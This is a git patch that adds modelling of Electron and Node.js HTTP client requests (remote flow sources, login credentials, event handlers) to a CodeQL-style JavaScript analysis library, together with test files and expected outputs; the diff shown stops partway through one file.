From 4da9d6d79591e3766d9247633a73cc6edadff931 Mon Sep 17 00:00:00 2001 From: Robert Marsh Date: Fri, 27 Jul 2018 14:33:02 -0700 Subject: [PATCH 1/3] JavaScript: add support for Electron http client --- .../semmle/javascript/frameworks/Electron.qll | 50 ++++ .../javascript/frameworks/NodeJSLib.qll | 227 ++++++++++++++++++ .../Electron/ClientRequest.expected | 2 + .../frameworks/Electron/ClientRequest.ql | 4 + .../Electron/RemoteFlowSources.expected | 5 + .../frameworks/Electron/RemoteFlowSources.ql | 4 + .../frameworks/Electron/electron.js | 33 ++- .../NodeJSLib/ClientRequest.expected | 4 + .../frameworks/NodeJSLib/ClientRequest.ql | 4 + .../NodeJSLib/HeaderDefinition.expected | 2 +- .../HeaderDefinition_getNameExpr.expected | 2 +- .../NodeJSLib/RemoteFlowSources.expected | 12 + .../frameworks/NodeJSLib/RemoteFlowSources.ql | 4 + .../frameworks/NodeJSLib/RequestExpr.expected | 2 +- .../NodeJSLib/ResponseExpr.expected | 4 +- .../NodeJSLib/ResponseSendArgument.expected | 2 +- .../NodeJSLib/RouteHandler.expected | 8 +- .../RouteHandler_getARequestExpr.expected | 2 +- .../RouteHandler_getAResponseExpr.expected | 4 +- .../RouteSetup_getARouteHandler.expected | 12 +- .../NodeJSLib/RouteSetup_getServer.expected | 8 +- .../NodeJSLib/ServerDefinition.expected | 8 +- ...ServerDefinition_getARouteHandler.expected | 8 +- .../NodeJSLib/isCreateServer.expected | 8 +- .../frameworks/NodeJSLib/src/http.js | 34 +++ .../frameworks/NodeJSLib/src/https.js | 1 + 26 files changed, 417 insertions(+), 37 deletions(-) create mode 100644 javascript/ql/test/library-tests/frameworks/Electron/ClientRequest.expected create mode 100644 javascript/ql/test/library-tests/frameworks/Electron/ClientRequest.ql create mode 100644 javascript/ql/test/library-tests/frameworks/Electron/RemoteFlowSources.expected create mode 100644 javascript/ql/test/library-tests/frameworks/Electron/RemoteFlowSources.ql create mode 100644 javascript/ql/test/library-tests/frameworks/NodeJSLib/ClientRequest.expected create mode 100644 javascript/ql/test/library-tests/frameworks/NodeJSLib/ClientRequest.ql create mode 100644 javascript/ql/test/library-tests/frameworks/NodeJSLib/RemoteFlowSources.expected create mode 100644 javascript/ql/test/library-tests/frameworks/NodeJSLib/RemoteFlowSources.ql diff --git a/javascript/ql/src/semmle/javascript/frameworks/Electron.qll b/javascript/ql/src/semmle/javascript/frameworks/Electron.qll index 56a56cc7a8a..a60309c9be1 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Electron.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Electron.qll @@ -33,4 +33,54 @@ module Electron { this = DataFlow::moduleMember("electron", "BrowserView").getAnInstantiation() } } + + /** + * A Node.js-style HTTP or HTTPS request made using an Electron module. + */ + abstract class ClientRequest extends NodeJSLib::ClientRequest {} + + /** + * A Node.js-style HTTP or HTTPS request made using `electron.net`, for example `net.request(url)`. + */ + private class NetRequest extends ClientRequest { + NetRequest() { + this = DataFlow::moduleMember("electron", "net").getAMemberCall("request") + } + + override DataFlow::Node getOptions() { + result = this.(DataFlow::MethodCallNode).getArgument(0) + } + } + + + /** + * A Node.js-style HTTP or HTTPS request made using `electron.client`, for example `new client(url)`. + */ + private class NewClientRequest extends ClientRequest { + NewClientRequest() { + this = DataFlow::moduleMember("electron", "ClientRequest").getAnInstantiation() + } + + override DataFlow::Node getOptions() { + result = this.(DataFlow::NewNode).getArgument(0) + } + } + + + /** + * A data flow node that is the parameter of a redirect callback for an HTTP or HTTPS request made by a Node.js process, for example `res` in `net.request(url).on('redirect', (res) => {})`. + */ + private class ClientRequestRedirectEvent extends RemoteFlowSource { + ClientRequestRedirectEvent() { + exists(NodeJSLib::ClientRequestHandler handler | + this = handler.getParameter(0) and + handler.getAHandledEvent() = "redirect" and + handler.getClientRequest() instanceof ClientRequest + ) + } + + override string getSourceType() { + result = "Electron ClientRequest redirect event" + } + } } \ No newline at end of file diff --git a/javascript/ql/src/semmle/javascript/frameworks/NodeJSLib.qll b/javascript/ql/src/semmle/javascript/frameworks/NodeJSLib.qll index 4f9c6772d5b..6b3859079bf 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/NodeJSLib.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/NodeJSLib.qll @@ -506,4 +506,231 @@ module NodeJSLib { } } + /** + * A data flow node that is an HTTP or HTTPS client request made by a Node.js server, for example `http.request(url)`. + */ + abstract class ClientRequest extends DataFlow::DefaultSourceNode { + /** + * Gets the options object or string URL used to make the request. + */ + abstract DataFlow::Node getOptions(); + } + + /** + * A data flow node that is an HTTP or HTTPS client request made by a Node.js server, for example `http.request(url)`. + */ + private class HttpRequest extends ClientRequest { + HttpRequest() { + exists(string protocol | + ( + protocol = "http" or + protocol = "https" + ) + and + this = DataFlow::moduleImport(protocol).getAMemberCall("request") + ) + } + + override DataFlow::Node getOptions() { + result = this.(DataFlow::MethodCallNode).getArgument(0) + } + } + + /** + * A data flow node that is an HTTP or HTTPS client request made by a Node.js process, for example `https.get(url)`. + */ + private class HttpGet extends ClientRequest { + HttpGet() { + exists(string protocol | + ( + protocol = "http" or + protocol = "https" + ) + and + this = DataFlow::moduleImport(protocol).getAMemberCall("get") + ) + } + + override DataFlow::Node getOptions() { + result = this.(DataFlow::MethodCallNode).getArgument(0) + } + } + + /** + * A data flow node that is the parameter of a result callback for an HTTP or HTTPS request made by a Node.js process, for example `res` in `https.request(url, (res) => {})`. + */ + private class ClientRequestCallbackParam extends DataFlow::ParameterNode, RemoteFlowSource { + ClientRequestCallbackParam() { + exists(ClientRequest req | + this = req.(DataFlow::MethodCallNode).getCallback(1).getParameter(0) + ) + } + + override string getSourceType() { + result = "ClientRequest callback parameter" + } + } + + /** + * A data flow node that is the parameter of a data callback for an HTTP or HTTPS request made by a Node.js process, for example `body` in `http.request(url, (res) => {res.on('data', (body) => {})})`. + */ + private class ClientRequestCallbackData extends RemoteFlowSource { + ClientRequestCallbackData() { + exists(ClientRequestCallbackParam rcp, DataFlow::MethodCallNode mcn | + rcp.getAMethodCall("on") = mcn and + mcn.getArgument(0).mayHaveStringValue("data") and + this = mcn.getCallback(1).getParameter(0) + ) + } + + override string getSourceType() { + result = "http.request data parameter" + } + } + + + /** + * A data flow node that is registered as a callback for an HTTP or HTTPS request made by a Node.js process, for example the function `handler` in `http.request(url).on(message, handler)`. + */ + class ClientRequestHandler extends DataFlow::FunctionNode { + string handledEvent; + ClientRequest clientRequest; + + ClientRequestHandler() { + exists(DataFlow::MethodCallNode mcn | + clientRequest.getAMethodCall("on") = mcn and + mcn.getArgument(0).mayHaveStringValue(handledEvent) and + flowsTo(mcn.getArgument(1)) + ) + } + + /** + * Gets the name of an event this callback is registered for. + */ + string getAHandledEvent() { + result = handledEvent + } + + /** + * Gets a request this callback is registered for. + */ + ClientRequest getClientRequest() { + result = clientRequest + } + } + + /** + * A data flow node that is the parameter of a response callback for an HTTP or HTTPS request made by a Node.js process, for example `res` in `http.request(url).on('response', (res) => {})`. + */ + private class ClientRequestResponseEvent extends RemoteFlowSource, DataFlow::ParameterNode { + ClientRequestResponseEvent() { + exists(ClientRequestHandler handler | + this = handler.getParameter(0) and + handler.getAHandledEvent() = "response" + ) + } + + override string getSourceType() { + result = "ClientRequest response event" + } + } + + /** + * A data flow node that is the parameter of a data callback for an HTTP or HTTPS request made by a Node.js process, for example `chunk` in `http.request(url).on('response', (res) => {res.on('data', (chunk) => {})})`. + */ + private class ClientRequestDataEvent extends RemoteFlowSource { + ClientRequestDataEvent() { + exists(DataFlow::MethodCallNode mcn, ClientRequestResponseEvent cr | + cr.getAMethodCall("on") = mcn and + mcn.getArgument(0).mayHaveStringValue("data") and + this = mcn.getCallback(1).getParameter(0) + ) + } + + override string getSourceType() { + result = "ClientRequest data event" + } + } + + /** + * A data flow node that is a login callback for an HTTP or HTTPS request made by a Node.js process. + */ + private class ClientRequestLoginHandler extends ClientRequestHandler { + ClientRequestLoginHandler() { + getAHandledEvent() = "login" + } + } + + /** + * A data flow node that is a parameter of a login callback for an HTTP or HTTPS request made by a Node.js process, for example `res` in `http.request(url).on('login', (res, callback) => {})`. + */ + private class ClientRequestLoginEvent extends RemoteFlowSource { + ClientRequestLoginEvent() { + exists(ClientRequestLoginHandler handler | + this = handler.getParameter(0) + ) + } + + override string getSourceType() { + result = "ClientRequest login event" + } + } + + /** + * A data flow node that is the login callback provided by an HTTP or HTTPS request made by a Node.js process, for example `callback` in `http.request(url).on('login', (res, callback) => {})`. + */ + class ClientRequestLoginCallback extends DataFlow::ParameterNode { + ClientRequestLoginCallback() { + exists(ClientRequestLoginHandler handler | + this = handler.getParameter(1) + ) + } + } + + /** + * A data flow node that is the username passed to the login callback provided by an HTTP or HTTPS request made by a Node.js process, for example `username` in `http.request(url).on('login', (res, cb) => {cb(username, password)})`. + */ + private class ClientRequestLoginUsername extends CredentialsExpr { + ClientRequestLoginUsername() { + exists(ClientRequestLoginCallback callback | + this = callback.getACall().getArgument(0).asExpr() + ) + } + + override string getCredentialsKind() { + result = "Node.js http(s) client login username" + } + } + + /** + * A data flow node that is the password passed to the login callback provided by an HTTP or HTTPS request made by a Node.js process, for example `password` in `http.request(url).on('login', (res, cb) => {cb(username, password)})`. + */ + private class ClientRequestLoginPassword extends CredentialsExpr { + ClientRequestLoginPassword() { + exists(ClientRequestLoginCallback callback | + this = callback.getACall().getArgument(1).asExpr() + ) + } + + override string getCredentialsKind() { + result = "Node.js http(s) client login password" + } + } + + + /** + * A data flow node that is the parameter of an error callback for an HTTP or HTTPS request made by a Node.js process, for example `err` in `http.request(url).on('error', (err) => {})`. + */ + private class ClientRequestErrorEvent extends RemoteFlowSource { + ClientRequestErrorEvent() { + exists(ClientRequestHandler handler | + this = handler.getParameter(0) and + handler.getAHandledEvent() = "error" + ) + } + + override string getSourceType() { + result = "ClientRequest error event" + } + } } diff --git a/javascript/ql/test/library-tests/frameworks/Electron/ClientRequest.expected b/javascript/ql/test/library-tests/frameworks/Electron/ClientRequest.expected new file mode 100644 index 00000000000..1d132b01e62 --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/Electron/ClientRequest.expected @@ -0,0 +1,2 @@ +| electron.js:7:5:7:38 | net.req ... e.com') | +| electron.js:8:16:8:78 | new Cli ... POST'}) | diff --git a/javascript/ql/test/library-tests/frameworks/Electron/ClientRequest.ql b/javascript/ql/test/library-tests/frameworks/Electron/ClientRequest.ql new file mode 100644 index 00000000000..157b158d45d --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/Electron/ClientRequest.ql @@ -0,0 +1,4 @@ +import javascript + +from NodeJSLib::ClientRequest cr +select cr \ No newline at end of file diff --git a/javascript/ql/test/library-tests/frameworks/Electron/RemoteFlowSources.expected b/javascript/ql/test/library-tests/frameworks/Electron/RemoteFlowSources.expected new file mode 100644 index 00000000000..4a12e346661 --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/Electron/RemoteFlowSources.expected @@ -0,0 +1,5 @@ +| electron.js:10:26:10:33 | response | +| electron.js:11:28:11:32 | chunk | +| electron.js:16:26:16:33 | redirect | +| electron.js:21:23:21:30 | authInfo | +| electron.js:26:23:26:27 | error | diff --git a/javascript/ql/test/library-tests/frameworks/Electron/RemoteFlowSources.ql b/javascript/ql/test/library-tests/frameworks/Electron/RemoteFlowSources.ql new file mode 100644 index 00000000000..2936dc4b052 --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/Electron/RemoteFlowSources.ql @@ -0,0 +1,4 @@ +import javascript + +from RemoteFlowSource source +select source diff --git a/javascript/ql/test/library-tests/frameworks/Electron/electron.js b/javascript/ql/test/library-tests/frameworks/Electron/electron.js index 546c76b9ba1..5c2790c4291 100644 --- a/javascript/ql/test/library-tests/frameworks/Electron/electron.js +++ b/javascript/ql/test/library-tests/frameworks/Electron/electron.js @@ -1,4 +1,33 @@ -const {BrowserView, BrowserWindow} = require('electron') +const {BrowserView, BrowserWindow, ClientRequest, net} = require('electron') new BrowserWindow({webPreferences: {}}) -new BrowserView({webPreferences: {}}) \ No newline at end of file +new BrowserView({webPreferences: {}}) + +function makeClientRequests() { + net.request('https://example.com').end(); + var post = new ClientRequest({url: 'https://example.com', method: 'POST'}); + + post.on('response', (response) => { + response.on('data', (chunk) => { + chunk[0]; + }); + }); + + post.on('redirect', (redirect) => { + redirect.statusCode; + post.followRedirect(); + }); + + post.on('login', (authInfo, callback) => { + authInfo.host; + callback('username', 'password'); + }); + + post.on('error', (error) => { + error.something; + }); + + post.setHeader('referer', 'https://example.com'); + post.write('stuff'); + post.end('more stuff'); +} diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/ClientRequest.expected b/javascript/ql/test/library-tests/frameworks/NodeJSLib/ClientRequest.expected new file mode 100644 index 00000000000..db19a6df549 --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/ClientRequest.expected @@ -0,0 +1,4 @@ +| src/http.js:18:1:18:30 | http.re ... uth" }) | +| src/http.js:21:15:26:6 | http.re ... \\n }) | +| src/http.js:27:16:27:73 | http.re ... POST'}) | +| src/https.js:18:1:18:31 | https.r ... uth" }) | diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/ClientRequest.ql b/javascript/ql/test/library-tests/frameworks/NodeJSLib/ClientRequest.ql new file mode 100644 index 00000000000..157b158d45d --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/ClientRequest.ql @@ -0,0 +1,4 @@ +import javascript + +from NodeJSLib::ClientRequest cr +select cr \ No newline at end of file diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/HeaderDefinition.expected b/javascript/ql/test/library-tests/frameworks/NodeJSLib/HeaderDefinition.expected index 772cd17fde0..0faaecc6ae9 100644 --- a/javascript/ql/test/library-tests/frameworks/NodeJSLib/HeaderDefinition.expected +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/HeaderDefinition.expected @@ -1,5 +1,5 @@ | src/http.js:7:3:7:42 | res.wri ... rget }) | src/http.js:4:32:10:1 | functio ... .foo;\\n} | | src/http.js:13:3:13:44 | res.set ... /html') | src/http.js:12:19:16:1 | functio ... ar");\\n} | -| src/http.js:29:3:29:40 | res.set ... , "23") | src/http.js:28:19:31:1 | functio ... r2");\\n} | +| src/http.js:63:3:63:40 | res.set ... , "23") | src/http.js:62:19:65:1 | functio ... r2");\\n} | | src/https.js:7:3:7:42 | res.wri ... rget }) | src/https.js:4:33:10:1 | functio ... .foo;\\n} | | src/https.js:13:3:13:44 | res.set ... /html') | src/https.js:12:20:16:1 | functio ... ar");\\n} | diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/HeaderDefinition_getNameExpr.expected b/javascript/ql/test/library-tests/frameworks/NodeJSLib/HeaderDefinition_getNameExpr.expected index 9ce6710a9ae..bc08b064160 100644 --- a/javascript/ql/test/library-tests/frameworks/NodeJSLib/HeaderDefinition_getNameExpr.expected +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/HeaderDefinition_getNameExpr.expected @@ -1,5 +1,5 @@ | src/http.js:7:3:7:42 | res.wri ... rget }) | src/http.js:7:17:7:19 | 302 | | src/http.js:13:3:13:44 | res.set ... /html') | src/http.js:13:17:13:30 | 'Content-Type' | -| src/http.js:29:3:29:40 | res.set ... , "23") | src/http.js:29:17:29:33 | req.query.myParam | +| src/http.js:63:3:63:40 | res.set ... , "23") | src/http.js:63:17:63:33 | req.query.myParam | | src/https.js:7:3:7:42 | res.wri ... rget }) | src/https.js:7:17:7:19 | 302 | | src/https.js:13:3:13:44 | res.set ... /html') | src/https.js:13:17:13:30 | 'Content-Type' | diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/RemoteFlowSources.expected b/javascript/ql/test/library-tests/frameworks/NodeJSLib/RemoteFlowSources.expected new file mode 100644 index 00000000000..776cfa02cd1 --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/RemoteFlowSources.expected @@ -0,0 +1,12 @@ +| src/http.js:6:26:6:32 | req.url | +| src/http.js:8:3:8:20 | req.headers.cookie | +| src/http.js:9:3:9:17 | req.headers.foo | +| src/http.js:21:33:21:40 | response | +| src/http.js:23:28:23:32 | chunk | +| src/http.js:29:26:29:33 | response | +| src/http.js:30:28:30:32 | chunk | +| src/http.js:40:23:40:30 | authInfo | +| src/http.js:45:23:45:27 | error | +| src/https.js:6:26:6:32 | req.url | +| src/https.js:8:3:8:20 | req.headers.cookie | +| src/https.js:9:3:9:17 | req.headers.foo | diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/RemoteFlowSources.ql b/javascript/ql/test/library-tests/frameworks/NodeJSLib/RemoteFlowSources.ql new file mode 100644 index 00000000000..2936dc4b052 --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/RemoteFlowSources.ql @@ -0,0 +1,4 @@ +import javascript + +from RemoteFlowSource source +select source diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/RequestExpr.expected b/javascript/ql/test/library-tests/frameworks/NodeJSLib/RequestExpr.expected index 3a9b9b680e0..0c28dd67b47 100644 --- a/javascript/ql/test/library-tests/frameworks/NodeJSLib/RequestExpr.expected +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/RequestExpr.expected @@ -1,7 +1,7 @@ | src/http.js:6:26:6:28 | req | src/http.js:4:32:10:1 | functio ... .foo;\\n} | | src/http.js:8:3:8:5 | req | src/http.js:4:32:10:1 | functio ... .foo;\\n} | | src/http.js:9:3:9:5 | req | src/http.js:4:32:10:1 | functio ... .foo;\\n} | -| src/http.js:29:17:29:19 | req | src/http.js:28:19:31:1 | functio ... r2");\\n} | +| src/http.js:63:17:63:19 | req | src/http.js:62:19:65:1 | functio ... r2");\\n} | | src/https.js:6:26:6:28 | req | src/https.js:4:33:10:1 | functio ... .foo;\\n} | | src/https.js:8:3:8:5 | req | src/https.js:4:33:10:1 | functio ... .foo;\\n} | | src/https.js:9:3:9:5 | req | src/https.js:4:33:10:1 | functio ... .foo;\\n} | diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/ResponseExpr.expected b/javascript/ql/test/library-tests/frameworks/NodeJSLib/ResponseExpr.expected index 5e93eb5d3df..21ba5899056 100644 --- a/javascript/ql/test/library-tests/frameworks/NodeJSLib/ResponseExpr.expected +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/ResponseExpr.expected @@ -2,8 +2,8 @@ | src/http.js:13:3:13:5 | res | src/http.js:12:19:16:1 | functio ... ar");\\n} | | src/http.js:14:3:14:5 | res | src/http.js:12:19:16:1 | functio ... ar");\\n} | | src/http.js:15:3:15:5 | res | src/http.js:12:19:16:1 | functio ... ar");\\n} | -| src/http.js:29:3:29:5 | res | src/http.js:28:19:31:1 | functio ... r2");\\n} | -| src/http.js:30:3:30:5 | res | src/http.js:28:19:31:1 | functio ... r2");\\n} | +| src/http.js:63:3:63:5 | res | src/http.js:62:19:65:1 | functio ... r2");\\n} | +| src/http.js:64:3:64:5 | res | src/http.js:62:19:65:1 | functio ... r2");\\n} | | src/https.js:7:3:7:5 | res | src/https.js:4:33:10:1 | functio ... .foo;\\n} | | src/https.js:13:3:13:5 | res | src/https.js:12:20:16:1 | functio ... ar");\\n} | | src/https.js:14:3:14:5 | res | src/https.js:12:20:16:1 | functio ... ar");\\n} | diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/ResponseSendArgument.expected b/javascript/ql/test/library-tests/frameworks/NodeJSLib/ResponseSendArgument.expected index 96210a1873c..5710a2e4373 100644 --- a/javascript/ql/test/library-tests/frameworks/NodeJSLib/ResponseSendArgument.expected +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/ResponseSendArgument.expected @@ -1,5 +1,5 @@ | src/http.js:14:13:14:17 | "foo" | src/http.js:12:19:16:1 | functio ... ar");\\n} | | src/http.js:15:11:15:15 | "bar" | src/http.js:12:19:16:1 | functio ... ar");\\n} | -| src/http.js:30:11:30:16 | "bar2" | src/http.js:28:19:31:1 | functio ... r2");\\n} | +| src/http.js:64:11:64:16 | "bar2" | src/http.js:62:19:65:1 | functio ... r2");\\n} | | src/https.js:14:13:14:17 | "foo" | src/https.js:12:20:16:1 | functio ... ar");\\n} | | src/https.js:15:11:15:15 | "bar" | src/https.js:12:20:16:1 | functio ... ar");\\n} | diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteHandler.expected b/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteHandler.expected index 0da9108e248..20c82a181e6 100644 --- a/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteHandler.expected +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteHandler.expected @@ -1,8 +1,8 @@ | src/http.js:4:32:10:1 | functio ... .foo;\\n} | src/http.js:4:14:10:2 | http.cr ... foo;\\n}) | | src/http.js:12:19:16:1 | functio ... ar");\\n} | src/http.js:12:1:16:2 | http.cr ... r");\\n}) | -| src/http.js:21:12:21:30 | function(req,res){} | src/http.js:23:1:23:31 | http.cr ... dler()) | -| src/http.js:26:14:26:32 | function(req,res){} | src/http.js:26:1:26:33 | createS ... res){}) | -| src/http.js:28:19:31:1 | functio ... r2");\\n} | src/http.js:28:1:31:2 | http.cr ... 2");\\n}) | -| src/http.js:34:12:34:27 | (req,res) => f() | src/http.js:36:1:36:36 | http.cr ... dler()) | +| src/http.js:55:12:55:30 | function(req,res){} | src/http.js:57:1:57:31 | http.cr ... dler()) | +| src/http.js:60:14:60:32 | function(req,res){} | src/http.js:60:1:60:33 | createS ... res){}) | +| src/http.js:62:19:65:1 | functio ... r2");\\n} | src/http.js:62:1:65:2 | http.cr ... 2");\\n}) | +| src/http.js:68:12:68:27 | (req,res) => f() | src/http.js:70:1:70:36 | http.cr ... dler()) | | src/https.js:4:33:10:1 | functio ... .foo;\\n} | src/https.js:4:14:10:2 | https.c ... foo;\\n}) | | src/https.js:12:20:16:1 | functio ... ar");\\n} | src/https.js:12:1:16:2 | https.c ... r");\\n}) | diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteHandler_getARequestExpr.expected b/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteHandler_getARequestExpr.expected index ff3069af2f9..55a726cb5a0 100644 --- a/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteHandler_getARequestExpr.expected +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteHandler_getARequestExpr.expected @@ -1,7 +1,7 @@ | src/http.js:4:32:10:1 | functio ... .foo;\\n} | src/http.js:6:26:6:28 | req | | src/http.js:4:32:10:1 | functio ... .foo;\\n} | src/http.js:8:3:8:5 | req | | src/http.js:4:32:10:1 | functio ... .foo;\\n} | src/http.js:9:3:9:5 | req | -| src/http.js:28:19:31:1 | functio ... r2");\\n} | src/http.js:29:17:29:19 | req | +| src/http.js:62:19:65:1 | functio ... r2");\\n} | src/http.js:63:17:63:19 | req | | src/https.js:4:33:10:1 | functio ... .foo;\\n} | src/https.js:6:26:6:28 | req | | src/https.js:4:33:10:1 | functio ... .foo;\\n} | src/https.js:8:3:8:5 | req | | src/https.js:4:33:10:1 | functio ... .foo;\\n} | src/https.js:9:3:9:5 | req | diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteHandler_getAResponseExpr.expected b/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteHandler_getAResponseExpr.expected index d15d795de2a..5147b98bfc8 100644 --- a/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteHandler_getAResponseExpr.expected +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteHandler_getAResponseExpr.expected @@ -2,8 +2,8 @@ | src/http.js:12:19:16:1 | functio ... ar");\\n} | src/http.js:13:3:13:5 | res | | src/http.js:12:19:16:1 | functio ... ar");\\n} | src/http.js:14:3:14:5 | res | | src/http.js:12:19:16:1 | functio ... ar");\\n} | src/http.js:15:3:15:5 | res | -| src/http.js:28:19:31:1 | functio ... r2");\\n} | src/http.js:29:3:29:5 | res | -| src/http.js:28:19:31:1 | functio ... r2");\\n} | src/http.js:30:3:30:5 | res | +| src/http.js:62:19:65:1 | functio ... r2");\\n} | src/http.js:63:3:63:5 | res | +| src/http.js:62:19:65:1 | functio ... r2");\\n} | src/http.js:64:3:64:5 | res | | src/https.js:4:33:10:1 | functio ... .foo;\\n} | src/https.js:7:3:7:5 | res | | src/https.js:12:20:16:1 | functio ... ar");\\n} | src/https.js:13:3:13:5 | res | | src/https.js:12:20:16:1 | functio ... ar");\\n} | src/https.js:14:3:14:5 | res | diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteSetup_getARouteHandler.expected b/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteSetup_getARouteHandler.expected index f90266be768..b33ba5ec964 100644 --- a/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteSetup_getARouteHandler.expected +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteSetup_getARouteHandler.expected @@ -1,10 +1,10 @@ | src/http.js:4:14:10:2 | http.cr ... foo;\\n}) | src/http.js:4:32:10:1 | functio ... .foo;\\n} | | src/http.js:12:1:16:2 | http.cr ... r");\\n}) | src/http.js:12:19:16:1 | functio ... ar");\\n} | -| src/http.js:23:1:23:31 | http.cr ... dler()) | src/http.js:21:12:21:30 | function(req,res){} | -| src/http.js:23:1:23:31 | http.cr ... dler()) | src/http.js:23:19:23:30 | getHandler() | -| src/http.js:26:1:26:33 | createS ... res){}) | src/http.js:26:14:26:32 | function(req,res){} | -| src/http.js:28:1:31:2 | http.cr ... 2");\\n}) | src/http.js:28:19:31:1 | functio ... r2");\\n} | -| src/http.js:36:1:36:36 | http.cr ... dler()) | src/http.js:34:12:34:27 | (req,res) => f() | -| src/http.js:36:1:36:36 | http.cr ... dler()) | src/http.js:36:19:36:35 | getArrowHandler() | +| src/http.js:57:1:57:31 | http.cr ... dler()) | src/http.js:55:12:55:30 | function(req,res){} | +| src/http.js:57:1:57:31 | http.cr ... dler()) | src/http.js:57:19:57:30 | getHandler() | +| src/http.js:60:1:60:33 | createS ... res){}) | src/http.js:60:14:60:32 | function(req,res){} | +| src/http.js:62:1:65:2 | http.cr ... 2");\\n}) | src/http.js:62:19:65:1 | functio ... r2");\\n} | +| src/http.js:70:1:70:36 | http.cr ... dler()) | src/http.js:68:12:68:27 | (req,res) => f() | +| src/http.js:70:1:70:36 | http.cr ... dler()) | src/http.js:70:19:70:35 | getArrowHandler() | | src/https.js:4:14:10:2 | https.c ... foo;\\n}) | src/https.js:4:33:10:1 | functio ... .foo;\\n} | | src/https.js:12:1:16:2 | https.c ... r");\\n}) | src/https.js:12:20:16:1 | functio ... ar");\\n} | diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteSetup_getServer.expected b/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteSetup_getServer.expected index 4f7f23eaf85..0a44a2630fe 100644 --- a/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteSetup_getServer.expected +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/RouteSetup_getServer.expected @@ -1,8 +1,8 @@ | src/http.js:4:14:10:2 | http.cr ... foo;\\n}) | src/http.js:4:14:10:2 | http.cr ... foo;\\n}) | | src/http.js:12:1:16:2 | http.cr ... r");\\n}) | src/http.js:12:1:16:2 | http.cr ... r");\\n}) | -| src/http.js:23:1:23:31 | http.cr ... dler()) | src/http.js:23:1:23:31 | http.cr ... dler()) | -| src/http.js:26:1:26:33 | createS ... res){}) | src/http.js:26:1:26:33 | createS ... res){}) | -| src/http.js:28:1:31:2 | http.cr ... 2");\\n}) | src/http.js:28:1:31:2 | http.cr ... 2");\\n}) | -| src/http.js:36:1:36:36 | http.cr ... dler()) | src/http.js:36:1:36:36 | http.cr ... dler()) | +| src/http.js:57:1:57:31 | http.cr ... dler()) | src/http.js:57:1:57:31 | http.cr ... dler()) | +| src/http.js:60:1:60:33 | createS ... res){}) | src/http.js:60:1:60:33 | createS ... res){}) | +| src/http.js:62:1:65:2 | http.cr ... 2");\\n}) | src/http.js:62:1:65:2 | http.cr ... 2");\\n}) | +| src/http.js:70:1:70:36 | http.cr ... dler()) | src/http.js:70:1:70:36 | http.cr ... dler()) | | src/https.js:4:14:10:2 | https.c ... foo;\\n}) | src/https.js:4:14:10:2 | https.c ... foo;\\n}) | | src/https.js:12:1:16:2 | https.c ... r");\\n}) | src/https.js:12:1:16:2 | https.c ... r");\\n}) | diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/ServerDefinition.expected b/javascript/ql/test/library-tests/frameworks/NodeJSLib/ServerDefinition.expected index acb90073d8f..66017986d4c 100644 --- a/javascript/ql/test/library-tests/frameworks/NodeJSLib/ServerDefinition.expected +++ b/javascript/ql/test/library-tests/frameworks/NodeJSLib/ServerDefinition.expected @@ -1,8 +1,8 @@ | src/http.js:4:14:10:2 | http.cr ... foo;\\n}) | | src/http.js:12:1:16:2 | http.cr ... r");\\n}) | -| src/http.js:23:1:23:31 | http.cr ... dler()) | -| src/http.js:26:1:26:33 | createS ... res){}) | -| src/http.js:28:1:31:2 | http.cr ... 2");\\n}) | -| src/http.js:36:1:36:36 | http.cr ... dler()) | +| src/http.js:57:1:57:31 | http.cr ... dler()) | +| src/http.js:60:1:60:33 | createS ... res){}) | +| src/http.js:62:1:65:2 | http.cr ... 2");\\n}) | +| src/http.js:70:1:70:36 | http.cr ... dler()) | | src/https.js:4:14:10:2 | https.c ... foo;\\n}) | | src/https.js:12:1:16:2 | https.c ... r");\\n}) | diff --git a/javascript/ql/test/library-tests/frameworks/NodeJSLib/ServerDefinition_getARouteHandler.expected 